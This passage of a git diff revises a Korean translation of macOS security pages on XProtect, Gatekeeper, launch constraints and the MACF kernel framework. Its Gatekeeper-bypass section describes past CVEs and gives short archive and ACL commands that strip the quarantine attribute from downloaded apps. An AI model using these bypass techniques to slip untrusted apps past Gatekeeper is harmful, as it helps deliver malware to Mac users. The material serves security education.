있습니다. 그러나 **Kernel Debug Kit를** [**https://developer.apple.com/**](https://developer.apple.com/)에서 다운로드할 수 있으며, 이는 확장의 기호화된 버전을 포함합니다. -이 Kext는 MACF를 통해 여러 호출을 후킹하여 모든 파일 생애 주기 이벤트를 가로채기 위해 사용됩니다: 생성, 열기, 이름 바꾸기, 하드 링크... 심지어 `setxattr`를 사용하여 `com.apple.quarantine` 확장 속성을 설정하지 못하도록 방지합니다. +이 Kext는 MACF를 통해 여러 호출을 후킹하여 모든 파일 생애 주기 이벤트를 가로채기 위해 사용됩니다: 생성, 열기, 이름 바꾸기, 하드 링크... 심지어 `setxattr`를 사용하여 `com.apple.quarantine` 확장 속성을 설정하지 못하도록 합니다. 또한 몇 가지 MIB를 사용합니다: @@ -290,11 +290,11 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri ### XProtect -XProtect는 macOS에 내장된 **안티멀웨어** 기능입니다. XProtect는 **애플리케이션이 처음 실행되거나 수정될 때 알려진 멀웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 검사합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스에 있는 알려진 멀웨어와 일치하면 XProtect는 **파일 실행을 차단하고** 위협에 대해 경고합니다. +XProtect는 macOS에 내장된 **안티멀웨어** 기능입니다. XProtect는 **애플리케이션이 처음 실행되거나 수정될 때 알려진 악성 소프트웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 확인합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스에 있는 알려진 악성 소프트웨어와 일치하는 경우, XProtect는 **파일 실행을 차단하고** 위협에 대해 경고합니다. -XProtect 데이터베이스는 Apple에 의해 **정기적으로 업데이트**되며, 새로운 멀웨어 정의가 포함됩니다. 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다. +XProtect 데이터베이스는 Apple에 의해 **정기적으로 업데이트**되며, 새로운 악성 소프트웨어 정의가 포함됩니다. 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이는 XProtect가 항상 최신 알려진 위협에 대해 최신 상태를 유지하도록 보장합니다. -그러나 **XProtect는 완전한 기능을 갖춘 안티바이러스 솔루션이 아닙니다**. 특정 알려진 위협 목록만 검사하며, 대부분의 안티바이러스 소프트웨어처럼 접근 시 스캔을 수행하지 않습니다. +그러나 **XProtect는 완전한 기능을 갖춘 안티바이러스 솔루션이 아닙니다**. 특정 알려진 위협 목록만 확인하며, 대부분의 안티바이러스 소프트웨어처럼 접근 시 스캔을 수행하지 않습니다. 최신 XProtect 업데이트에 대한 정보를 얻으려면 실행하십시오: ```bash @@ -307,20 +307,20 @@ XProtect는 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 - **`XProtect.bundle/Contents/Resources/XProtect.yara`**: 맬웨어를 탐지하기 위한 Yara 규칙입니다. - **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 애플리케이션 및 TeamID의 해시가 포함된 SQLite3 데이터베이스입니다. -**`/Library/Apple/System/Library/CoreServices/XProtect.app`**에는 Gatekeeper 프로세스와 관련이 없는 XProtect와 관련된 또 다른 앱이 있다는 점에 유의하세요. +**`/Library/Apple/System/Library/CoreServices/XProtect.app`**에는 Gatekeeper 프로세스와 관련이 없는 XProtect와 관련된 또 다른 앱이 있습니다. ### Not Gatekeeper > [!CAUTION] -> Gatekeeper는 애플리케이션을 실행할 때마다 **실행되지 않습니다**. 오직 _**AppleMobileFileIntegrity**_ (AMFI)만이 Gatekeeper에 의해 이미 실행되고 검증된 앱을 실행할 때 **실행 가능한 코드 서명**을 확인합니다. +> Gatekeeper는 애플리케이션을 실행할 때마다 **실행되지 않습니다**. 오직 _**AppleMobileFileIntegrity**_ (AMFI)만이 Gatekeeper에 의해 이미 실행되고 검증된 앱을 실행할 때 **실행 가능한 코드 서명을 검증**합니다. -따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후, **애플리케이션의 비실행 파일**(예: Electron asar 또는 NIB 파일)을 수정하고 다른 보호 장치가 없으면 애플리케이션이 **악성** 추가 사항과 함께 **실행되었습니다**. +따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후, **애플리케이션의 실행 불가능한 파일**(예: Electron asar 또는 NIB 파일)을 수정하고, 다른 보호 장치가 없으면 애플리케이션이 **악성** 추가 사항과 함께 **실행되었습니다**. -하지만 이제는 macOS가 애플리케이션 번들 내의 파일 수정을 **방지하기 때문에** 이 방법은 더 이상 불가능합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면, 앱을 실행하여 Gatekeeper로 캐시한 후 번들을 수정할 수 없게 되므로 더 이상 악용할 수 없다는 것을 알게 될 것입니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고 (악용에서 지시한 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다. +하지만 이제는 macOS가 애플리케이션 번들 내의 파일 수정을 **방지하기 때문에** 이 작업이 불가능합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면, 앱을 실행하여 Gatekeeper로 캐시한 후 번들을 수정할 수 없게 되어 더 이상 악용할 수 없음을 알게 될 것입니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고 (악용에서 지시한 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다. ## Gatekeeper Bypasses -Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 이를 차단해야 할 때 실행하도록 만드는 것)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회할 수 있게 해준 기술에 할당된 CVE는 다음과 같습니다: +Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 이를 허용하지 않아야 할 때 실행하도록 만드는 것)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회할 수 있게 해준 기술에 할당된 CVE는 다음과 같습니다: ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) @@ -332,7 +332,7 @@ Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 G **Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 **Automator Application Stub**이라는 일반 Automator 바이너리일 뿐입니다. -따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`이 **시스템 내의 다른 Automator Application Stub을 가리키는 심볼릭 링크로 설정**할 수 있으며, 그러면 `document.wflow`(당신의 스크립트) 내의 내용을 **Gatekeeper를 트리거하지 않고 실행**합니다. +따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`이 **시스템 내의 다른 Automator Application Stub을 가리키는 심볼릭 링크로 설정**할 수 있으며, 그러면 `document.wflow`(당신의 스크립트) 안의 내용을 **Gatekeeper를 트리거하지 않고 실행**합니다. 실제 실행 파일에는 격리 xattr가 없기 때문입니다. 예상 위치: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub` @@ -340,7 +340,7 @@ Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 G ### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) -이 우회에서는 `application.app/Contents`에서 압축을 시작하는 애플리케이션으로 zip 파일이 생성되었습니다. 따라서 **quarantine attr**는 **`application.app/Contents`의 모든 파일에 적용되었지만**, **`application.app`에는 적용되지 않았습니다**. Gatekeeper가 확인하는 것은 `application.app`이었기 때문에, `application.app`이 트리거될 때 **quarantine 속성이 없었습니다.** +이 우회에서는 `application.app/Contents`에서 압축을 시작하는 애플리케이션으로 zip 파일이 생성되었습니다. 따라서 **quarantine attr**는 **`application.app/Contents`의 모든 파일에 적용되었지만**, **`application.app`에는 적용되지 않았습니다**. Gatekeeper가 확인하는 것은 `application.app`이기 때문에, `application.app`이 트리거될 때 **quarantine 속성이 없었습니다.** ```bash zip -r test.app/Contents test.zip ``` @@ -348,11 +348,11 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) -구성 요소가 다르더라도 이 취약점의 악용은 이전 것과 매우 유사합니다. 이 경우 **`application.app/Contents`**에서 Apple Archive를 생성하므로 **`application.app`**은 **Archive Utility**에 의해 압축 해제될 때 격리 속성을 받지 않습니다. +구성 요소가 다르더라도 이 취약점의 악용은 이전 것과 매우 유사합니다. 이 경우 **`application.app/Contents`**에서 Apple Archive를 생성하여 **`application.app`**이 **Archive Utility**에 의해 압축 해제될 때 격리 속성을 받지 않도록 합니다. ```bash aa archive -d test.app/Contents -o test.app.aar ``` -더 많은 정보는 [**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하세요. +자세한 정보는 [**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하세요. ### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) @@ -365,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr' ``` 또한, **AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다. -[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서 ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식으로 zip 파일로 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다: +[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식으로 zip 파일에 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다: ```bash chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test ditto -c -k test test.zip @@ -383,11 +383,11 @@ aa archive -d app -o test.aar ``` ### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/) -**구글 크롬이 다운로드된 파일에 격리 속성을 설정하지 않았다는 것이 발견되었습니다.** 이는 일부 macOS 내부 문제 때문입니다. +**구글 크롬이 다운로드된 파일에 격리 속성을 설정하지 않는** 문제가 macOS 내부 문제로 발견되었습니다. ### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/) -AppleDouble 파일 형식은 `._`로 시작하는 별도의 파일에 파일의 속성을 저장하며, 이는 **macOS 기계 간에 파일 속성을 복사하는 데 도움이 됩니다.** 그러나 AppleDouble 파일을 압축 해제한 후 `._`로 시작하는 파일에 **격리 속성이 부여되지 않았다는 것이 관찰되었습니다.** +AppleDouble 파일 형식은 `._`로 시작하는 별도의 파일에 파일의 속성을 저장하여 **macOS 기기 간에** 파일 속성을 복사하는 데 도움을 줍니다. 그러나 AppleDouble 파일을 압축 해제한 후 `._`로 시작하는 파일이 **격리 속성을 부여받지 않는** 것으로 나타났습니다. ```bash mkdir test echo a > test/a diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.md index cea79d0e3..cfec1c229 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.md @@ -4,22 +4,22 @@ ## Basic Information -macOS의 런치 제약 조건은 **프로세스가 어떻게, 누구에 의해, 어디서 시작될 수 있는지를 규제**하여 보안을 강화하기 위해 도입되었습니다. macOS Ventura에서 시작된 이들은 **각 시스템 바이너리를 별개의 제약 범주로 분류하는 프레임워크**를 제공합니다. 이 범주는 **신뢰 캐시** 내에 정의되어 있으며, 시스템 바이너리와 해당 해시 목록을 포함합니다. 이러한 제약 조건은 시스템 내의 모든 실행 가능한 바이너리에 적용되며, **특정 바이너리를 실행하기 위한 요구 사항을 설명하는 규칙** 세트를 포함합니다. 규칙은 바이너리가 충족해야 하는 자기 제약, 부모 프로세스가 충족해야 하는 부모 제약, 그리고 다른 관련 엔티티가 준수해야 하는 책임 제약을 포함합니다. +macOS의 런치 제약 조건은 **프로세스가 어떻게, 누구에 의해, 어디서 시작될 수 있는지를 규제**하여 보안을 강화하기 위해 도입되었습니다. macOS Ventura에서 시작된 이들은 **각 시스템 바이너리를 별개의 제약 범주로 분류하는 프레임워크**를 제공합니다. 이 범주는 **신뢰 캐시** 내에 정의되어 있으며, 시스템 바이너리와 해당 해시 목록을 포함합니다. 이러한 제약은 시스템 내의 모든 실행 가능한 바이너리에 적용되며, **특정 바이너리를 실행하기 위한 요구 사항을 설명하는 규칙** 세트를 포함합니다. 규칙은 바이너리가 충족해야 하는 자기 제약, 부모 프로세스가 충족해야 하는 부모 제약, 그리고 다른 관련 엔티티가 준수해야 하는 책임 제약을 포함합니다. 이 메커니즘은 macOS Sonoma부터 **환경 제약**을 통해 서드파티 앱으로 확장되어, 개발자가 **환경 제약을 위한 키와 값의 세트를 지정하여 앱을 보호할 수 있도록** 합니다. -**런치 환경 및 라이브러리 제약**은 **`launchd` 속성 목록 파일**에 저장하거나 코드 서명에 사용하는 **별도의 속성 목록** 파일에 저장하는 제약 사전에서 정의합니다. +**런치 환경 및 라이브러리 제약**은 **`launchd` 속성 목록 파일**에 저장하거나 코드 서명에 사용하는 **별도의 속성 목록** 파일에 정의합니다. -제약 조건의 유형은 4가지입니다: +제약의 종류는 4가지입니다: - **자기 제약**: **실행 중인** 바이너리에 적용되는 제약. - **부모 프로세스**: **프로세스의 부모**에 적용되는 제약 (예: **`launchd`**가 XP 서비스를 실행하는 경우) - **책임 제약**: XPC 통신에서 **서비스를 호출하는 프로세스**에 적용되는 제약 -- **라이브러리 로드 제약**: 선택적으로 로드할 수 있는 코드를 설명하기 위해 라이브러리 로드 제약을 사용합니다. +- **라이브러리 로드 제약**: 로드할 수 있는 코드를 선택적으로 설명하기 위해 라이브러리 로드 제약을 사용합니다. -따라서 프로세스가 다른 프로세스를 시작하려고 할 때 — `execve(_:_:_:)` 또는 `posix_spawn(_:_:_:_:_:_:)`를 호출하여 — 운영 체제는 **실행 파일**이 **자기 제약**을 **충족하는지** 확인합니다. 또한 **부모** **프로세스**의 실행 파일이 실행 파일의 **부모 제약**을 **충족하는지** 확인하고, **책임** **프로세스**의 실행 파일이 실행 파일의 책임 프로세스 제약을 **충족하는지** 확인합니다. 이러한 런치 제약 조건 중 하나라도 충족되지 않으면 운영 체제는 프로그램을 실행하지 않습니다. +따라서 프로세스가 다른 프로세스를 시작하려고 할 때 — `execve(_:_:_:)` 또는 `posix_spawn(_:_:_:_:_:_:)`를 호출하여 — 운영 체제는 **실행 파일**이 **자기 제약**을 **충족하는지** 확인합니다. 또한 **부모** **프로세스**의 실행 파일이 실행 파일의 **부모 제약**을 **충족하는지** 확인하고, **책임** **프로세스**의 실행 파일이 실행 파일의 책임 프로세스 제약을 **충족하는지** 확인합니다. 이러한 런치 제약 중 하나라도 충족되지 않으면 운영 체제는 프로그램을 실행하지 않습니다. -라이브러리를 로드할 때 **라이브러리 제약**의 일부가 참이 아닐 경우, 프로세스는 **라이브러리를 로드하지 않습니다**. +라이브러리를 로드할 때 **라이브러리 제약**의 일부가 **참이 아닐 경우**, 프로세스는 **라이브러리를 로드하지 않습니다**. ## LC Categories @@ -54,7 +54,7 @@ Parent Constraint: is-init-proc ### LC 카테고리 리버싱 -자세한 정보는 [**여기에서 확인할 수 있습니다**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints), 기본적으로 이들은 **AMFI (AppleMobileFileIntegrity)**에 정의되어 있으므로, **KEXT**를 얻기 위해 Kernel Development Kit을 다운로드해야 합니다. **`kConstraintCategory`**로 시작하는 기호들이 **흥미로운** 것들입니다. 이들을 추출하면 DER (ASN.1) 인코딩 스트림이 생성되며, 이를 [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) 또는 python-asn1 라이브러리와 그 `dump.py` 스크립트를 사용하여 디코드해야 합니다. [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master)로 더 이해하기 쉬운 문자열을 얻을 수 있습니다. +여기에 대한 더 많은 정보는 [**여기에서**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints) 확인할 수 있지만, 기본적으로 **AMFI (AppleMobileFileIntegrity)**에서 정의됩니다. 따라서 **KEXT**를 얻기 위해 Kernel Development Kit을 다운로드해야 합니다. **`kConstraintCategory`**로 시작하는 기호가 **흥미로운** 기호입니다. 이들을 추출하면 DER (ASN.1) 인코딩 스트림을 얻을 수 있으며, 이를 [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) 또는 python-asn1 라이브러리와 그 `dump.py` 스크립트를 사용하여 디코드해야 합니다. [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master)로 더 이해하기 쉬운 문자열을 얻을 수 있습니다. ## 환경 제약 @@ -143,20 +143,20 @@ Launch Constraints는 **프로세스가 예상치 못한 조건에서 실행되 게다가, Launch Constraints는 **다운그레이드 공격도 완화합니다.** -그러나, 이들은 **일반적인 XPC** 남용, **Electron** 코드 주입 또는 **dylib 주입**을 라이브러리 검증 없이 완화하지 않습니다(로드할 수 있는 팀 ID가 알려지지 않는 한). +그러나, 이들은 **일반적인 XPC** 남용, **Electron** 코드 주입 또는 **dylib 주입**을 라이브러리 검증 없이 완화하지 않습니다(로드할 수 있는 팀 ID가 알려져 있지 않는 한). ### XPC 데몬 보호 -소노마 릴리스에서 주목할 점은 데몬 XPC 서비스의 **책임 구성**입니다. XPC 서비스는 연결된 클라이언트가 아닌 스스로에 대해 책임이 있습니다. 이는 피드백 보고서 FB13206884에 문서화되어 있습니다. 이 설정은 XPC 서비스와의 특정 상호작용을 허용하므로 결함이 있는 것처럼 보일 수 있습니다: +소노마 릴리스에서 주목할 점은 데몬 XPC 서비스의 **책임 구성**입니다. XPC 서비스는 연결된 클라이언트가 책임지는 것이 아니라 스스로 책임을 집니다. 이는 피드백 보고서 FB13206884에 문서화되어 있습니다. 이 설정은 XPC 서비스와의 특정 상호작용을 허용하므로 결함이 있는 것처럼 보일 수 있습니다: - **XPC 서비스 시작**: 버그로 간주된다면, 이 설정은 공격자 코드로 XPC 서비스를 시작하는 것을 허용하지 않습니다. - **활성 서비스에 연결**: XPC 서비스가 이미 실행 중인 경우(원래 애플리케이션에 의해 활성화되었을 가능성이 있음), 연결하는 데 장애물이 없습니다. -XPC 서비스에 대한 제약을 구현하는 것은 **잠재적 공격의 창을 좁힘으로써** 유익할 수 있지만, 주요 문제를 해결하지는 않습니다. XPC 서비스의 보안을 보장하려면 **연결 클라이언트를 효과적으로 검증하는 것**이 근본적으로 필요합니다. 이는 서비스의 보안을 강화하는 유일한 방법입니다. 또한, 언급된 책임 구성은 현재 작동 중이며, 이는 의도된 설계와 일치하지 않을 수 있습니다. +XPC 서비스에 대한 제약을 구현하는 것은 **잠재적 공격의 창을 좁힘으로써** 유익할 수 있지만, 주요 문제를 해결하지는 않습니다. XPC 서비스의 보안을 보장하려면 **연결 클라이언트를 효과적으로 검증하는 것**이 근본적으로 필요합니다. 이는 서비스의 보안을 강화하는 유일한 방법으로 남아 있습니다. 또한, 언급된 책임 구성은 현재 운영 중이며, 이는 의도된 설계와 일치하지 않을 수 있습니다. ### Electron 보호 -애플리케이션이 **LaunchService에 의해 열려야 한다는** 요구가 있더라도(부모 제약에서). 이는 **`open`**을 사용하거나(환경 변수를 설정할 수 있음) **Launch Services API**를 사용하여(환경 변수를 지정할 수 있음) 달성할 수 있습니다. +애플리케이션이 **LaunchService에 의해 열려야 한다는** 요구가 있더라도(부모 제약에서). 이는 **`open`**을 사용하여(env 변수를 설정할 수 있음) 또는 **Launch Services API**를 사용하여(env 변수를 지정할 수 있음) 달성할 수 있습니다. ## 참고 문헌 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md index 2f23dc70b..a8f73decf 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md @@ -6,7 +6,7 @@ **MACF**는 **Mandatory Access Control Framework**의 약자로, 컴퓨터를 보호하기 위해 운영 체제에 내장된 보안 시스템입니다. 이는 **특정 시스템의 일부에 접근할 수 있는 사람이나 사물에 대한 엄격한 규칙을 설정**하여 작동합니다. 이러한 규칙을 자동으로 시행함으로써, MACF는 권한이 있는 사용자와 프로세스만 특정 작업을 수행할 수 있도록 보장하여 무단 접근이나 악의적인 활동의 위험을 줄입니다. -MACF는 실제로 결정을 내리지 않고 **작업을 가로채기**만 하며, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` 및 `mcxalr.kext`와 같은 **정책 모듈**(커널 확장)에 결정을 맡깁니다. +MACF는 실제로 결정을 내리지 않고 **작업을 가로채기**만 하며, 결정을 내리는 것은 `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` 및 `mcxalr.kext`와 같은 **정책 모듈**(커널 확장)에 맡깁니다. ### 흐름 @@ -28,7 +28,7 @@ MACF는 **레이블**을 사용하며, 이후 정책이 접근을 허용할지 MACF 정책은 **특정 커널 작업에 적용될 규칙과 조건을 정의**합니다. -커널 확장은 `mac_policy_conf` 구조를 구성한 다음 `mac_policy_register`를 호출하여 등록할 수 있습니다. [여기](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html)에서: +커널 확장은 `mac_policy_conf` 구조를 구성한 다음 `mac_policy_register`를 호출하여 등록할 수 있습니다. [여기서](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): ```c #define mpc_t struct mac_policy_conf * @@ -65,11 +65,11 @@ mpc_t mpc_list; /** List reference */ void *mpc_data; /** module data */ }; ``` -이러한 정책을 구성하는 커널 확장을 식별하는 것은 `mac_policy_register` 호출을 확인함으로써 쉽습니다. 또한, 확장의 디스어셈블리를 확인하면 사용된 `mac_policy_conf` 구조체를 찾을 수도 있습니다. +이 정책을 구성하는 커널 확장을 식별하는 것은 `mac_policy_register` 호출을 확인함으로써 쉽습니다. 또한, 확장의 디스어셈블을 확인하면 사용된 `mac_policy_conf` 구조체를 찾을 수 있습니다. MACF 정책은 **동적으로** 등록 및 등록 해제될 수 있습니다. -`mac_policy_conf`의 주요 필드 중 하나는 **`mpc_ops`**입니다. 이 필드는 정책이 관심 있는 작업을 지정합니다. 수백 개가 있으므로 모든 작업을 0으로 설정한 다음 정책이 관심 있는 작업만 선택할 수 있습니다. [여기서](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): +`mac_policy_conf`의 주요 필드 중 하나는 **`mpc_ops`**입니다. 이 필드는 정책이 관심 있는 작업을 지정합니다. 수백 개가 있으므로 모든 작업을 0으로 설정한 다음 정책이 관심 있는 작업만 선택할 수 있습니다. [여기](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html)에서: ```c struct mac_policy_ops { mpo_audit_check_postselect_t *mpo_audit_check_postselect; @@ -84,25 +84,25 @@ mpo_cred_check_label_update_t *mpo_cred_check_label_update; ``` 거의 모든 훅은 이러한 작업이 가로채어질 때 MACF에 의해 호출됩니다. 그러나 **`mpo_policy_*`** 훅은 예외입니다. `mpo_hook_policy_init()`은 등록 시 호출되는 콜백이며(즉, `mac_policy_register()` 이후) `mpo_hook_policy_initbsd()`는 BSD 서브시스템이 제대로 초기화된 후 늦은 등록 중에 호출됩니다. -게다가, **`mpo_policy_syscall`** 훅은 모든 kext에 의해 등록될 수 있으며, 이를 통해 개인 **ioctl** 스타일 호출 **인터페이스**를 노출할 수 있습니다. 그러면 사용자 클라이언트는 **정책 이름**과 정수 **코드** 및 선택적 **인수**를 매개변수로 지정하여 `mac_syscall` (#381)을 호출할 수 있습니다.\ +게다가, **`mpo_policy_syscall`** 훅은 모든 kext에 의해 등록될 수 있으며, 이를 통해 개인 **ioctl** 스타일 호출 **인터페이스**를 노출할 수 있습니다. 그러면 사용자 클라이언트는 **정책 이름**과 정수 **코드**, 선택적 **인수**를 매개변수로 지정하여 `mac_syscall` (#381)을 호출할 수 있습니다.\ 예를 들어, **`Sandbox.kext`**는 이를 많이 사용합니다. -kext의 **`__DATA.__const*`**를 확인하면 정책 등록 시 사용되는 `mac_policy_ops` 구조체를 식별할 수 있습니다. 이는 `mpo_policy_conf` 내부의 오프셋에 포인터가 있기 때문에 찾을 수 있으며, 해당 영역에 있는 NULL 포인터의 수로도 찾을 수 있습니다. +kext의 **`__DATA.__const*`**를 확인하면 정책 등록 시 사용되는 `mac_policy_ops` 구조체를 식별할 수 있습니다. 이는 `mpo_policy_conf` 내부의 오프셋에 포인터가 있기 때문에 찾을 수 있으며, 해당 영역에 NULL 포인터가 많이 존재하기 때문입니다. -또한, 메모리에서 구조체 **`_mac_policy_list`**를 덤프하여 정책을 구성한 kext 목록을 얻는 것도 가능합니다. 이 구조체는 등록된 각 정책으로 업데이트됩니다. +또한, 등록된 각 정책과 함께 업데이트되는 구조체 **`_mac_policy_list`**에서 메모리 덤프를 통해 정책을 구성한 kext 목록을 얻는 것도 가능합니다. ## MACF 초기화 -MACF는 매우 빨리 초기화됩니다. XNU의 `bootstrap_thread`에서 설정됩니다: `ipc_bootstrap` 후 `mac_policy_init()` 호출이 이루어지며, 이는 `mac_policy_list`를 초기화하고 잠시 후 `mac_policy_initmach()`가 호출됩니다. 이 함수는 `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext`와 같은 Info.plist에 `AppleSecurityExtension` 키가 있는 모든 Apple kext를 가져와서 로드합니다. +MACF는 매우 빨리 초기화됩니다. XNU의 `bootstrap_thread`에서 설정됩니다: `ipc_bootstrap` 이후 `mac_policy_init()` 호출이 이루어지며, 이는 `mac_policy_list`를 초기화하고 잠시 후 `mac_policy_initmach()`가 호출됩니다. 이 함수는 `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext`와 같은 Info.plist에 `AppleSecurityExtension` 키가 있는 모든 Apple kext를 가져와서 로드합니다. ## MACF 호출 -코드에서 **`#if CONFIG_MAC`** 조건부 블록과 같이 MACF에 대한 호출을 찾는 것은 일반적입니다. 또한 이러한 블록 내에서 특정 작업을 수행하기 위한 권한을 **확인하기 위해** MACF를 호출하는 `mac_proc_check*` 호출을 찾을 수 있습니다. MACF 호출의 형식은 **`mac___opName`**입니다. +코드에서 **`#if CONFIG_MAC`** 조건부 블록과 같이 MACF에 대한 호출을 찾는 것은 일반적입니다. 또한, 이러한 블록 내부에서 특정 작업을 수행하기 위한 권한을 **확인하기 위해** MACF를 호출하는 `mac_proc_check*` 호출을 찾을 수 있습니다. MACF 호출의 형식은 **`mac___opName`**입니다. 객체는 다음 중 하나입니다: `bpfdesc`, `cred`, `file`, `proc`, `vnode`, `mount`, `devfs`, `ifnet`, `inpcb`, `mbuf`, `ipq`, `pipe`, `sysv[msg/msq/shm/sem]`, `posix[shm/sem]`, `socket`, `kext`.\ `opType`은 일반적으로 작업을 허용하거나 거부하는 데 사용되는 check입니다. 그러나 kext가 주어진 작업에 반응할 수 있도록 하는 notify를 찾는 것도 가능합니다. -[https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621)에서 예를 찾을 수 있습니다: +다음은 [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621)에서 예를 찾을 수 있습니다:
int
 mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
@@ -120,7 +120,7 @@ goto bad;
 [...]
 
